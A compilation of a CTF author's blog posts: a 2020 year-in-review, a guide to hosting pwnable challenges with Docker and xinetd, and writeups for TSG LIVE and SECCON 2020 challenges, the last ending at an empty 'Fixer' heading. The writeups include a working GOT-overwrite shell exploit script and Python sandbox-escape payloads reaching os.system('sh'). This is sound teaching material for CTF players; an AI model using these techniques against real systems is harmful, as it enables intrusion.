多分今年は今までで一番真面目に参加したCTFが多かった

  • PlaidCTF
  • Spam And Hex CTF
  • CTFZone Finals
  • DEFCON Quals
  • Google CTF (+ Hackceler8)
  • TokyoWestens CTF
  • Hack.lu
  • Dragon CTF
  • HITCON CTF
  • ASIS Finals

WriteupsのいくつかはGitHub にまとめた。

特筆すべきは、今年は、TSG外チームとの合同チームで参加したCTFもいくつか(shibad0gsでSpamAndHex, DEFCON、I use BingでGoogle CTF)あってこれもかなり良かった。I use Bingは日本人以外の人々との交流に繋がったし、僕自身の貢献は微々たるものだったが、Google CTF Finals相当(?)の大会で、2位にもなった。そういえば動画が公開されるらしいって聞いたけどどうなったんやろ。 割とTSGに引きこもりがちだったが、他のチームの人々との交流があるとやる気に繋がって良い。実際その影響でこれだけCTFやった面も大きい。

作問も結構した。

  • TSG CTF
    • Beginner's Pwn
    • Detective
    • std::vector
    • (Karte with kirby)
  • SECCON CTF
    • Yet Another PySandbox
    • Yet2 Another Python Sandbox
    • mlml
    • Fixer
  • TSG Live (誰も得しないけど、地味にちゃんとした問題作ったんですよ)
    • one bytes man (と仲間たち2問)
    • getting over it

それぞれ問題に若干のエピソードあり、割とどの問題も気に入っている(正確にはどれももう少し洗練すべきだったが)ので全部(多分)思い出せた。去年よりは上手になったと思うが、納得行くような問題は作れていない。来年も何問かは作りたい。

作問者側エピソードで言えば、SECCONの作問でzer0ptsの人々やSECCON各位とワチャワチャしたのは楽しかった。地味にsecurity campに1億年前に参加した時にpwnの講義をしていただいた岩村さんと同じ作問者側になっていたのもちょっとエモかった(直接は話さなかったが)。

あとCTFに分類されるわけではないが、FetchDecodeExecWriteとして、ISUCONに今年も出た。akouryyくん、くっきーさんが強いので正直僕の貢献がどれほどあるのかわからない。というか、今年は特に本戦の最後でNginxちゃんと分散させておけば賞金に手が届いていたっぽかったので、これをしなかった僕はカスです。ごめんなさい。まあでも個人的には人々とワチャワチャできたので楽しかったと言ったら怒られるだろうか。

来年(今後)

来年は海外に行けるようになるのだろうか、とりあえず夏休みくらいからは大学には行きたいところではある。

就職活動はするが、大学で研究を続けたいという気持ちも強いので、人生レベルで難しい決断をそろそろしないといけない、厳しい。そもそも欲しいと言ってくれる人がいなければニートになるわけだけれど...

就職活動と並行して今やっている研究を早いところ一定の形にしたい。そういうことを考えるとCTFを毎週末している場合ではないんですが、、とはいえTSGCTF3は開催したいね。

補足

投稿する前にふと去年の総括を見てみたら、一昨年の総括に対する去年の総括での言及が面白かった。

来年の目標として一つあるのは、ある程度ちゃんとしたCTFにおいて最終的にsolver数一桁になるような問題を適切に解いていきたい。最近CTF終わった後いつもそういう感想になる。あとは基本的に研究に取り組みたいなとは思う。個人的な意見としては楽しいと思う。

残念ながら厳しかった。挑戦はしているんだけどね。特にTSGでやっているときは、比較的簡単めの問題にそれなりに時間を使ってしまうのでなかなか難しい問題に使う体力が残っていないがち。とはいえそれは言い訳で、I Use BingででたGoogle CTFのmathshや、shibad0gsで出たときのDEFCONのsupersecurecalcあたりは解きたかったんだけど、これは解けなかったので、結局自力が足りないのでは。

去年の総括を見ていると

地下は太陽が無いのでやはり太陽にあたっていくあたりから挑戦するべき、あとは英語精進をしないと死にそう。

という記述があったが、研究室が地上になったことで必然的に前者はある程度達成できるようになった。西日は眩しい。後者は今もなお問題で、実際に死んでいる。

らしいが、残念ながら研究室にいけなくなったことで太陽を浴びなくなってしまった。これは良くないことです。英語精進は分かる。個人的には去年のこの記事を書いていた頃よりは明らかに英語の能力は向上しているので、その点で進捗はあるはず。TOEFLでも受けて数字として理解できるようにしようかな。

人間、人生を考えすぎなので僕も考えなきゃいけないのかなという気持ちになってきた

人生よくわからん。いずれにせよ、来年は就活的なものが発生したりしなかったりするのかもしれない、考えを先送りにしている

こまりました..

にしても去年CPU実験やGSoC言及してるけど1億年くらい前の話な感じがする。

pwnable challengeをホストする際にしていること

CTF Advent Calendar 202020日目の記事です。一つ前の記事はptr-yudaiさんのオレオレFuzzerもどきを利用してCTFのpwnableを解こう - CTFするぞでした。

この記事では、CTFのorganizeをするときに、私がpwnableの問題をホストする際どのような形で問題環境を作っているか(問題のパッケージやインフラの構築など)について簡単にまとめます。理由としては、

  • こういう記事があまり見当たらない(のでこれからpwnable challengeをホストする人の多少の参考になれば)
  • 私自身セキュリティの専門家ではないので、自分のインフラがどのような危険を内包しているかどうかがあまり分からないので、場合によってはツッコミを頂きたい

という2点です。特に後者の点が大きくて、pwn challengeを通してサーバーを乗っ取られた上で他のフラグなどがリークしてしまった場合、被害が甚大です。なので今後のCTF大会の健全な開催のためにも、もし何か気づいたらお知らせください。

一応私のCTFのorganize経験としては

  • TSGCTF 2回
  • TSG Live CTF 2回
  • SECCON CTF 2回 (これはorganizeと言ってしまうとよくないかもしれません、自分のpwnableのインフラを管理していただけなので)

で、ここまで環境設定ミスで問題が破壊されたり、変にフラグリークしたという経験はないです(気づいてないだけかもしれませんが)。

なお、基本的にただdockerで起動したりtcpdumpで監視したりしているだけなので、そういうところに面白さを求めている方がいらしたら、ごめんなさい。習ったわけではないですが、多分普通です。

前提

pwnableの問題をホストするということは、そのバイナリと同程度の権限で、攻撃者がサーバーのシステムにアクセスできるということを意味しています。なので、当然ですが、「適切な環境の分離」というものが必須になります。このとき分離に対して評価軸として次のようなものを頭に入れています

  • attack surfaceの大きさ
  • シェルを取られた際に起こりうる危険の大きさ
  • かかるお金
  • 手間、面倒くささ

おそらく現実のシステムを考える上でもこういう考えがもっと一般化されて、形式的に議論されているのだと思いますが、私はセキュリティの専門家ではないのでそういう話は知りません。以下ではVMの分離の方がコンテナの分離より、attack surfaceが小さいので安全だが、VMの分離は値段的に高い、として話を進めています。

また最後に、手間、面倒くささと書きましたが、これもこの記事で常に現われる評価軸です。私はpwnの問題を出したいだけであって、かっこいいインフラにすることにそれほど興味が無いので(もちろんかっこいいほうが良いですけど)、出来る限りインフラを設定するのにかかるコストは小さい方が良い、ということを意味します。工数が半日以上かかりそうなインフラの設定はしたくありません。

問題のセッティング

問題のパッケージ

基本的に問題環境のパッケージはdockerを用いて行っています。理由は導入が楽だからです。例として、TSGCTF 2のBeginner's PwnのDockerfileを見てみます

FROM ubuntu:20.04


RUN apt-get update && \
        apt-get -y upgrade && \
        apt-get install -y \
            xinetd \
            iproute2

RUN groupadd -r user && useradd -r -g user user

COPY --chown=root:user ./build/start.sh /home/user/start.sh
COPY --chown=root:root ./build/ctf.conf /etc/xinetd.d/ctf
COPY --chown=root:user ./build/flag /home/user/flag
COPY --chown=root:user ./dist/beginners_pwn /home/user/beginners_pwn

WORKDIR /home/user

RUN chmod 444 ./flag && \
    chmod 555 ./beginners_pwn && \
    chmod 555 ./start.sh && \
    chmod 444 /etc/xinetd.d/ctf
USER user
EXPOSE 30002

CMD ["xinetd","-dontfork","-f","/etc/xinetd.d/ctf"]

基本的にやっていることは

  • 必要パッケージのインストール
  • 必要ファイルのコピー
  • 権限の設定
  • 非rootユーザーの追加と設定
  • 起動コマンドの設定

です。これは趣味ではあるのですが、「シェルをとってほしい」という気持ちをより強くしたい、つまりflag名guessはされたくないと思う場合は、Dockerfileの中でさらにflag名にmd5sumをつけるなどをしても良いと思います(ptr-yudaiさんがこのようにしています

これをビルドして、イメージとして保存すれば、ほぼ完全に環境を固定化できますし、そうでなくてもdocker buildで基本的に必要なセットアップができるので便利です。 ただしDocker imageを固定してもなお、しばしば背後のカーネル依存の挙動が重要になったりするケースがあり注意が必要です。今まで遭遇したことがあるのは、

などがあります。とはいえ、あなたのソルバが本番環境に特に問題なく(個別のデバッグなく)刺さるなら、基本大丈夫じゃないですかね。 まあ、pwnのインフラを整備するときには、変なguessingが入らないことをいずれにせよ注意する必要がありますし、とはいえ吸収しきれない場合が多いのでclarで対処をするしかないです。

サーバー化

私はxinetdを使っています。いつも使っているconfigは次のようになっています

service ctf_beginners_pwn
{
    type = UNLISTED
    protocol = tcp
    socket_type = stream
    port = 30002
    wait = no
    disable = no
    user = user
    server = /bin/sh
    server_args = /home/user/start.sh
}

他の候補としては、socat/ynetdがあると思いますが、この辺の違いはあまりわかりません。勝手にsocatよりxinetdの方が信頼できると思っています。

タイムアウト

xinetdにそういう機能が無いと思うので、timeoutは起動コマンドに外部からかけています https://github.com/tsg-ut/tsgctf2/blob/master/pwn/beginners_pwn/build/start.sh

timeout -s 9 60s ./vuln

バッファリング

問題によっては、外部からIOのバッファリングを切る必要があります。これにはstdbufというものを使っています。

stdbuf -i0 -o0 -e0 ./vuln

インフラの設定

ここが今回の一番の問題です。

まず話の流れとして、問題のデプロイについて話すと、基本的には上でパッケージしたdocker imageをそのままdocker runで実行しています。正確にはdocker-composeを用いて

version: '3'

services:
    ctf:
        restart: always
        build: ./
        read_only: true
        ports:
            - '30005:30005'

のように、必要な設定を追加しています。

次に具体的にどういうマシンを使っているかについて話すと、TSG CTFの場合はGCP、SECCONの場合はSakuraからVMを借りてその上に環境を作っています。特筆するとすれば、TSG CTFでは、Container Optimized OSというOSを利用しています。基本コンテナがその上で動作するという仮定を置いた上でのセキュリティの設定などがデフォルトでパッケージされているらしいです。詳しくは知りませんが、ボタンを押すだけなので簡単です。 なお、このOSではパッケージを入れたりするのがかなり難しく、docker-composeを入れるのが自明ではありません。そのための簡単なwrapperをこおしいずさんが作ってくれたので、ありがたく活用しています。 https://github.com/tsg-ut/tsgctf2020/blob/master/tools/easy-docker-compose.sh

そして、このマシンの上で複数のpwnの問題をコンテナにより分離を信じて、配置しています。このようにすることの利点は、VMが一つで済むので価格が安いです。一方で、コンテナの分離は、VMの分離より(一般的に)弱いので危険と言えば危険です。どっちを取るべきかはコンテストの重みによっても変わると思いますが、基本的には信じて問題ないと思って、4回ほどコンテストを開催しました。多分何も起こってません。Docker Escape見つけたらTSG CTFなんかで使わないでください。逆に言えばDocker Escapeが見つかったりしない限りは安全だと思っています。

事例集

「典型的なpwnの問題の例」 TSGCTF 2: Beginner's Pwn

一番典型的なPwnの問題です。こういった問題は、「一般的に普通のコンテナの使い方」で実行できるので、「かなり安全な部類」だと思っています。なので、この部類の問題サーバーは同じVMに同居させています。 TSGCTFではお金をケチって、区別していませんでしたが、リスクとしてはpwnとcryptoの問題では明らかにpwnの問題の方が(シェルをとらせるので)危ないことが多いので、こういったリスクでVMをわけるのも良いと思います。

「内部でコンテナ化をしている問題の例」 TSGCTF 2: std::vector

問題の内部での環境を分離するためにコンテナを使っているタイプの問題です。 この問題は内部でコンテナによる分離を必要としています。つまり、問題サーバーもDockerでデプロイするとなると、Docker in Dockerが必要ということです。

Docker in Dockerの嫌なところはprivilegedをつけて実行する必要がある点です。これにより、通常のコンテナよりもアクセスできるデバイスへの自由度が増えるので、シェルを取られた時により危険な状態であると言えます(ちなみに、問題の設定として、privilegedなコンテナでのシェルは、pythonやhashcashにバグが無ければ、取れないはずということになっています。つまりシェルが取れるのは入れ子になったコンテナの中だけです)。

このリスク評価が正しいかはわからないですが、(主に無知なので怖いから)TSGCTF 2ではprivilegedコンテナを使う問題だけは、VMを別にして安全を優先しました。この付近に関しては私は知識不足なので、似たような設定で問題を作っている方がいらしたら、どういうふうに設定しているかを教えて頂きたいものです。

ちなみにDocker in Dockerテクですが、DinDのImageはBASEがalpineになっていてあまり使い勝手がよろしくないが、自分でDinDするための設定をUbuntuのbaseイメージに対してしていくのは、面倒だったので、中のコンテナでは実はDockerではなくnsjail を使っています。 このようにすると、Dockerfileの外側の設定の見た目はほとんど変わりません。

https://github.com/tsg-ut/tsgctf2020/blob/master/pwn/stdvec/Dockerfile

FROM moratorium08/nsjail

RUN apt update && apt upgrade -y && apt install -y python3.7 nodejs npm xinetd iproute2
...

違うのはnsjailのイメージを使っている点とdocker-compose.ymlでprivilegeを指定している部分だけです。

「お金がいっぱいある例」 SECCON

SECCONのようにお金がある場合は全部の問題ごとにVMで分離しています。これが手間もかからず、安全性も高いので、お金が気にならないならこれが良いと思います(し、SECCONの場合ミスってコンテストが崩壊した場合にはかなり困ったことになるので、そうするべきなんだと思います)。

監視

CTFの開催というのは基本的には慈善事業なのであまり悪意のあることをされると(異常な量のペイロードを投げるなど)結構困ります。もちろん外側からの監視で通常あるべきでない量のペイロードを投げる人を見つけることはできますが、「悪意」がありそうかどうかの判定は案外難しいです。せっかく開催したCTFに参加してくれているので、できればbanはしたくありません。 また、想定外の行動(明らかにアクセスできるべきでないファイルにアクセスしているなど)をされたり、これはあまり良くない話ですが、想定外の解法で解かれていることもあります。もちろん対策を取れるかどうかは別問題ですが、開催中にこういったことに気づいておきたいところではあります。 つまり、適切な監視インフラを構築したいですが、これもまた「面倒なことはあまりしたくない」という別のモチベーションがあります。

これをするには私は、VMに直接tcpdumpをインストールした上でこのスクリプトを、問題ごとにsupervisordに登録して、dumpを吐き出させ、それをflowerというツールで監視しています。

この辺はあまり満足度が高くなくて、手元でパケットを解析するために定期的にパケットのファイルを手元にダウンロードしたり、それをflowerに流したりする部分があまりきれいではありません。上手な方法を御存知の方がいたら教えて下さい。

ちなみに、flowerの流し込み部分ですが、私の手元のメモによれば次のようにやるらしいです(汚いね)

なんか確かimport.pyで使われているライブラリのインストールがかなり難しいはずで、しかしこのdocker imageの中では動くので、このような汚いことをしているはず、全ては怠惰のため。

あと留意点として、(これはあるあるだと思いますが)tcpdumpで分割された最新のファイルをダウンロードしてimportするとそのファイルは不完全なので壊れがちです。ダウンロードするときは最新から一個手前までのもののみにすると良いです。

その他

Proof of Work

Proof of Workを問題によっては入れる場合があります。もちろん入れないほうがストレスも無いし良いんですが、一回の接続で問題サーバー側のリソースをそれなりに使わないといけない状況の場合には、基本的には「一人一票の原則」を適用させたい場合があります。とはいえ、PoWがあるのは当然ですが問題を解く側の経験としてプラスになることはないので、出来る限り回答者の気持ちに寄り添う必要があると思います。

これは単なる私の持論ですが、PoWを入れる場合(入れなければいけないような問題の場合)は次のような点に注意しています

  • サーバーを動作をローカルで再現できて(ソースコード、バイナリなどが配られていて)、回答者がサーバーに接続する必要があるのは最後だけ
  • PoWをするためにコードを書かせない(PoWソルバを書くのも手ですがこの場合ここに最適化の余地を生んでしまうとお互い困るので、既存ツールでインストールの手間がかからないものを使うのが良いというのが私の見解です。私はhashcashを使っています)

readn

さらに細かいですが、たまに見るのでコメントだけ残しておくと、少し大きめのバッファが必須(例ROPの長めのペイロードなど)のときに、直接read(0, buf, N)のようなことをするプログラムがある場合がありますが、これはネットワーク越しだと不安定になるので良くないです(文字数制限をつけたいなら明示的にすべきで)。

なので、よくあるシステムズプログラミングの課題のように、Nバイト受け取らなければいけない場合は、必要なバイトを受け取るまでループを回すコードを書きましょう。

最後に

何か気づくことがあればコメント頂けると幸いです。

明日はakiko_pusuさんの「1週間経って少しはすすんだでしょうか?書いてみます!」です。楽しみですね。

TSG LIVE CTF writeup + 雑記

この記事はTSG Advent Calendar 2020 の2日目の記事として書かれました。昨日は博多市さんのTSG CTF 2020 開催記でした。

TSG LIVEは、大学の文化祭の催し物として企画されているもので、TSG LIVE CTFはその企画の一つで、TSGの数人が問題を用意し、別の数人が2チームに分かれてその問題を解いて競う様子を、実況を交えてライブ配信します。

アーカイブYouTubeに上っているので興味があればどうぞ。

www.youtube.com

なお、ライブ配信されているわけではありますが、TSG外の人々にもスコアサーバー及び問題サーバーを解放していて同時に解くことができるようにしていました。実際、外部から参戦したyoshikingdomさんは強かったですね。ほぼ全完です。各位ご参加ありがとうございました。以下がその結果を報告するツイートです。

また問題も以下のリポジトリから公開していて、これらのうち僕が作問した問題について、writeupを書いたのがこの記事の内容になります。

github.com

writeup書いてて思ったんですが、LIVE CTFで消費するのもったいなかったような。まあ二問とも非想定解で時間内に解かれましたが.... (いつも非想定解で解かれてないか)

writeup: one-byte-man

ネタは、

  • gccでexit終わる関数をコンパイルすると、継続の処理が無くなるので、exitがreturnすると次の関数の頭に突入する
  • exitのGOTエントリ書き換えでmainの無限ループ

です。one byte manという名前の通り、任意アドレスの1バイト書き換えができる状態になっているので、まずGOTのエントリを1ビット書き換えて、mainループが起こるようにした後にROPを構築する、というのが想定解となっています。なお、割とこの想定解法自体はボス問枠で、ここから条件を落とした問題を2問用意しました。このうち一番簡単な問題は特に言及の余地がないですが、2番目の難易度の問題はちょうど良くライブ向けにできて、結構気に入っているので紹介します。

問題設定は次のようなプログラムです。アドレスを受け取って、そのアドレスについて、1バイト書き換えた後、exit(0)をします。

int main(void) {
    unsigned long long addr;
    char buf[0x20];
    setup();
    write(1, "address: ", 9);
    readn(buf, 0x1f);
    addr = strtoull(buf, NULL, 10);
    write(1, (char*)addr, 8);
    write(1, "data: ", 6);
    readn((char *)addr, 1);
    exit(0);
}
void friend() {
    execl("/bin/sh", "sh", NULL);
}

ただし、checksecは

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   73) Symbols  No 0       1       one-byte-man

のようになっていて、GOTのエントリを書き換えられることが分かります。なおバイナリが上手に配置されているので、exitのPLTのアドレスを1バイト書き換えるとちょうどmainに位置させることができるようになっています。

次に、バイナリに目を向けてみると、

00000000004007d8 <readn>:
  4007d8:   55                      push   %rbp
  ...
  400864:   c9                      leaveq
  400865:   c3                      retq
0000000000400866 <main>:
  400866:   55                      push   %rbp
  400867:   48 89 e5                mov    %rsp,%rbp
  ...
  400905:   bf 00 00 00 00          mov    $0x0,%edi
  40090a:   e8 51 fd ff ff          callq  400660 <exit@plt>

000000000040090f <friend>:
  40090f:   55                      push   %rbp
  400910:   48 89 e5                mov    %rsp,%rbp
  400913:   ba 00 00 00 00          mov    $0x0,%edx
  400918:   48 8d 35 ec 00 00 00    lea    0xec(%rip),%rsi        # 400a0b <_IO_stdin_used+0x4b>
  40091f:   48 8d 3d e8 00 00 00    lea    0xe8(%rip),%rdi        # 400a0e <_IO_stdin_used+0x4e>
  400926:   b8 00 00 00 00          mov    $0x0,%eax
  40092b:   e8 40 fd ff ff          callq  400670 <execl@plt>
  400930:   90                      nop
  400931:   5d                      pop    %rbp
  400932:   c3                      retq

上のようにexitのcallの後はすぐにfriendのコードが始まっていることが分かります。以上から、上であげたようなネタで解けることが分かります。

実際に考えてみると、これは非常に短いコードで達成できます。exit = mainにしたあとに、mainの先頭から1バイト下げて、exit: retにするのがミソですね。2工程です。

from pwn import *

main_addr = 0x400866
exit_got = 0x601048

r = remote("localhost", 3001)

# exit_got to main
r.recvuntil(': ')
r.sendline(str(exit_got+1))
r.recvuntil(': ')
r.send(chr((main_addr >> 8) % 256))

# exit_got to main - 1 (ret of readn)
r.recvuntil(': ')
r.sendline(str(exit_got))
r.recvuntil(': ')
r.send(chr((main_addr - 1) % 256))

# shell!
r.interactive()

ライブCTFの理想問は、「一発ネタ + 実装最小限」で解ける問題だと思っているので、これはかなりよくできたライブ向け問だと自負しています。ちなみにこういうタイプの問題で、TSG CTFのBeginner's Pwnとかも出せたら良かったんですが、当時アイデアが無かったので残念。

writeup: getting over it

Rustのバグをネタにして問題にしました。ネタ元はissue28728で、uenokuさんなどによってよく解説されています。まあ有名なバグですね。

簡単に掻い摘んで解説すると、「副作用のない無限ループを書くと(Rustの言語仕様としてはundefinedになるわけではないが、LLVMの仕様のせいで)、想定しない挙動になる」というものです。信じられないと思う貴方は次のプログラムをrustcで(-O つきで)コンパイルして実行してみてください

fn main() {
    (||loop{})()
}
$ rustc -O broken.rs
$ ./broken
zsh: illegal hardware instruction  ./broken

びっくりですね。基本的には、LLVMがこういう挙動をするのはC++の仕様のせいなのですが、詳しくはここでは省略します。

問題の概要について説明すると、

fn sandbox(x: &mut u64) {
    /* code */
    *x += 1;
    sandbox(x);
}

fn main() {
    let mut cnt = 0;
    sandbox(&mut cnt);
    println!("{} loops. Good job!", cnt);
    println!("Flag is TSGLIVE{{/* redacted */}}");
}

上のようなプログラムが与えられているので/* code */のところに好きなコードを入れて、sandboxの無限の再帰呼び出しを突破しよう!という問題です。なお、NGワードは、'!', 'std', "#", "return", "unsafe", "sandbox", '}'です。すなわちこれらの単語を含まないプログラムを与える必要があります。

上でネタバレしたように、Rustでは副作用のない無限ループを書くと"よくないこと"が起こるようです。試しにやってみましょう。 /* code */に何も書かなければ、このプログラムは、引数の参照を通して値の読み書きをします。これをなんとか消せないでしょうか? 消せますね。単にシャドーイングをすればよいです。

fn sandbox(x: &mut u64) {
    let x = &mut 0;
    *x += 1;
    sandbox(x);
}

fn main() {
    let mut cnt = 0;
    sandbox(&mut cnt);
    println!("{} loops. Good job!", cnt);
    println!("Flag is TSGLIVE{{flag}}");
}
$ rustc -O prog.rs
$ ./prog
0 loops. Good job!
Flag is TSGLIVE{flag}

Rustのunsound hole問はここ数年で多数出題されていますが、この問題もその1つに分類することができると思います。多数出題されていることからも分かる通り、rustのコンパイラ(や型システム)にはまだまだバグがあるということです。。

実際、Rustの型システムやRustのライブラリの安全性を形式的に検証する試み(RustBeltなど)は近年盛んに研究されていますし、まだまだ面白い話が続きそうな気もします。

LIVE CTFについて

最近はCTFのYouTube進出が激しいです。日本人CTF系YouTuberとしては、kurenaifさんが有名ですし、海外に目を向けてみれば、ALLES!のLiveOverflowをはじめとして多数のチャンネルが開設されています。 また、今年のGoogle CTFのFinalsの様子は、参加者のスクリーンを録画して実況をつけた動画としてアップロードされるそうです。

人がCTFしている様子を見るのは割と勉強になるので結構暇な時に見てしまいます。こういったチャンネルが今後とも増えていくことを願っていますし、TSG Live自体ももう少し世の中の人間にリーチしないかなあと思ったりしなくもないですね。

個人的には、LIVE CTFで各位が問題解いている様子が見たいので、ぜひお願いします。いっそ次回のLIVE CTFはゲストチームをinviteしたりするのもありなのかな。

最後に

いかがでしたでしょうか?

明日は、smallkirbyさんの「乾パンの美味しい食べ方」です。楽しみですね。

smallkirby.hatenablog.com

SECCON 2020 Online CTF Writeup: Yet/Yet^2 Another PySandbox, mlml, Fixer

SECCON writeup

I was the author of the four challenges: Yet Another PySanbdox, Yet2 Another PySandbox, mlml, Fixer. In this post, I will talk about the author's writeup and each challenge's background concept.

Yet Another PySandbox

You can create any function by bypassing the filter by writing function's bytecode directly. Though there are tons of ways to do it, I'll give you an example to do that as follows.

[setattr(f,'func_code',type(f.func_code)(0,0,2,67,'d\x06\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00d\x02\x00\x19j\x03\x00j\x04\x00d\x03\x00\x19j\x05\x00d\x04\x00\x19j\x06\x00j\x07\x00d\x05\x00\x83\x01\x00\x01d\x00\x00'+'s'.upper(),([].append(1),0,59,'sys','o'+'s.path','sh',()),('_'+'_cl'+'ass_'+'_','_'+'_bas'+'es_'+'_','_'+'_subcl'+'asses_'+'_','_'+'_init_'+'_','func_glob'+'als','mod'+'ules','o'+'s','sy'+'stem'),(),'','',0,''))+f()for    f   in[lambda   :1]]

The central idea of this is to modify func_code of the given function by using setattr. In Python 2.7, code class requires the following arguments:

code(argcount, nlocals, stacksize, flags, codestring, constants, names,
      varnames, filename, name, firstlineno, lnotab[, freevars[, cellvars]])

Create a code object.  Not for the faint of heart.

By giving these values, you can create any functions you can write. Since you can pass the required values like __class__ by specifying a string like '_' + '_cla' + 'ss_' + '_', you can bypass the filter.

Also we have to pass the body of function, codestring. The above bytecode is generated by the following function's bytecode:

def f():
    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh")

This function is the typical way to access shell without using the global builtins.

Yet2 Another PySandbox

This challenge is related to "Yet" challenge, but the intended solution is entirely different.

The answer is straightforward. (lambda:sandboxed_eval)() will give you sandboxed_eval function for you, and since this function alone does not contain any filtering features, you can do eval freely. That is, you can do typical sandbox escaping like ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh") . Of course, you have to fix a little to bypass the filter before you get sandboxed_eval without check. However, it is easy since eval receives a string, and you can bypass the filter by a string like '_' + '_cla' + 'ss_' + '_'.

This specification is written in Execution model of Python's reference. We can find the following statement

The eval() and exec() functions do not have access to the full environment for resolving names. Names may be resolved in the local and global namespaces of the caller. Free variables are not resolved in the nearest enclosing namespace but in the global namespace. 1 The exec() and eval() functions have optional arguments to override the global and local namespace. If only one namespace is specified, it is used for both.

That is, if you nest scopes within eval, the scope will be global.

The interesting thing is that why this a little "strange" behavior happens? First, consider whether this is really a strange thing or not. Here is the result of the following three languages.

JavaScript

Welcome to Node.js v14.13.1.
Type ".help" for more information.
> const x = 1;
undefined
> function a() {
... const x = 2;
... return eval("(()=>x)()");
... }
undefined
> a()
2

(^_^)v

Ruby

irb(main):001:0> x = 1
=> 1
irb(main):002:0> def a()
irb(main):003:1>   x = 2
irb(main):004:1>   eval("lambda{||x}.call")
irb(main):005:1> end
=> :a
irb(main):006:0> a()
=> 2

(^_^)v

Perl

main::(-e:1):    0
  DB<1> my $x = 1;

  DB<2> sub a { my $x = 2; return eval("(sub {$x})->()"); }

  DB<3> print(a(), "\n");
2

(^_^)v

Python 2.7

Python 2.7.16 (default, Jun  5 2020, 22:59:21)
[GCC 4.2.1 Compatible Apple LLVM 11.0.3 (clang-1103.0.29.20) (-macos10.15-objc- on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> x = 1
>>> def a():
...   x = 2
...   return eval("(lambda:x)()")
...
>>> a()
1

🥺🥺🥺🥺 (Note that the same thing happens also in Python 3.9)

The natural thing for me is that the behavior of eval should be the same as the behavior without eval. That is, the semantics of eval("XXX") should be equivalent to that of XXX. So, for me, Python's behavior is bizarre.

Okay, I can accept that there is a "consistent policy" such as "eval's scope is always equal to the global." However, furthermore strangely, the followings seem to have different policies about free variables of eval.

>>> x = 1
>>> def a():
...   x = 2
...   return eval('x')
...
>>> a()
2

and

>>> x = 1
>>> def a():
...   x = 2
...   return eval("(lambda:x)()")
...
>>> a()
1

Why does this happen? Engdegård reported this curious behavior before. This argument was fine. First, as for the eval's scope, we can consider some consistent policies, as Engdegård stated.

A1. In an empty environment with no bindings at all, or just the language-defined standard bindings. A2. In the (or a) top-level environment; local, lexically bound variables where the eval() takes place are not visible to the argument expression. A3. In the same lexical environment as the eval() call itself.

But the actual policy of Python is

A4. A mixed hybrid environment of some kind: The identifiers representing variables that are to be evaluated immediately are looked up in the lexical environment of the eval expression; identifiers representing variables in delayed-evaluation positions use the global environment.

Actually, in that argument, there is no agreement of the conclusion of "why." However, I think Hylton's answer is a good suggestion. Python's interpreter has to determine whether each local variable should be stored in a cell or a local (closures can capture only cell variables, so if a variable is captured, then the interpreter will store it in a cell).

You can check this behavior as the following disassemblies:

>>> def f():
...     x = 2
...     return lambda: x
...
>>> dis.dis(f)
  2           0 LOAD_CONST               1 (2)
              3 STORE_DEREF              0 (x)       ### <- STORE x in a cell

  3           6 LOAD_CLOSURE             0 (x)
              9 BUILD_TUPLE              1
             12 LOAD_CONST               2 (<code object <lambda> at 0x106200230, file "<stdin>", line 3>)
             15 MAKE_CLOSURE             0
             18 RETURN_VALUE
>>>
>>>
>>> def f():
...     x = 2
...     return eval("lambda: x")
...
>>> dis.dis(f)
  2           0 LOAD_CONST               1 (2)
              3 STORE_FAST               0 (x)

  3           6 LOAD_GLOBAL              0 (eval)
              9 LOAD_CONST               2 ('lambda: x')
             12 CALL_FUNCTION            1
             15 RETURN_VALUE

I think it is not a good idea in terms of efficiency that the bytecode compiler has to put all the variables in the memory cell because of the existence of lambdas in eval. So, I can understand the current constraint of eval, though it is strange.

Of course, the semantics of the language should be separated from how it is implemented. However, maybe the initial design of the eval and lambda is not well-considered (that is why this inconsistency problem was not documented at first). I think we can consider some mitigations to make eval natural, but this issue does not affect almost all users (who cares lambdas in eval :P), so the problem may exist until now and in the future.

Unintended solution for Yet/Yet2 Another PySandbox

Actually, because of my thoughtless test play, the filter of Yet and Yet2 Another PySandbox was kinda weak, and I should have added frame as prohibited words. You may bypass that sandbox by using Python's generator for both of the challenges, in fact (since in Yet2, there are no builtins, it's complicated, but someone did).

mlml

First, I have to apologize to you since my filter to avoid unintended solution was too weak, and it led to the renewal of the challenge. I am really sorry about that.

After the renewal, there are three solvers: perfectblue, Ten*48 and PPP. Thank you for playing! Yet, still, the refined filter was too weak, and their solutions submitted to the server were not intended ones (They were using unsafe string manipulation functions).

The intended solution is to use OCaml's unsound issue to trigger memory corruption.

The following OCaml program will break out from the OCaml's safety (the following program was taken from the above issue):

type u = {a: bool; mutable b: int option}

let f x =
  match x with
    {a=false} -> 0
  | {b=None} -> 1
  | _ when (x.b <- None; false) -> 2
  | {a=true; b=Some y} -> y

let _ = f {a=true; b=Some 5}

Focus on the third match guard. This guard always evaluates to false, but there is a side effect that x.b will be assigned to None during the evaluation. Because of the lousy implementation of OCaml compiler, the last pattern will match to x, which leads to the dereference of None, and Segmentation Fault. By utilizing this fact preciously, we can get a shell. My PoC is a little long, so I put it on gist.

The background idea related to this challenge is that we can avoid this issue by using ownership system like the one Rust has since, within a pattern match "the pointer to be matched" should not be modified. Consider the following Rust program.

fn f(x: &mut (bool, Option<i32>)) -> i32 {
    match x {
        (false, _) => 0,
        (_, None) => 1,
        _ if ( {let z = &mut x.1; *z = None; false} ) => 2,
        (true, Some(y)) => *y,
    }
}

fn main() {
   let mut x = (true, Some(5));
   println!("{}", f(&mut x));
}

If you compile it, rustc will complain that within the match-guard, variable x should be immutable:

$ rustc prog.rs
error[E0510]: cannot mutably borrow `x.1` in match guard
 --> prog.rs:6:25
  |
3 |     match x {
  |           - value is immutable in match guard
...
6 |         _ if ( {let z = &mut x.1; *z = None; false} ) => 2,
  |                         ^^^^^^^^ cannot mutably borrow

error: aborting due to previous error

For more information about this error, try `rustc --explain E0510

`.

I think this is also an example of the collaboration of efficiency and safety thanks to Rust type system.

Fixer

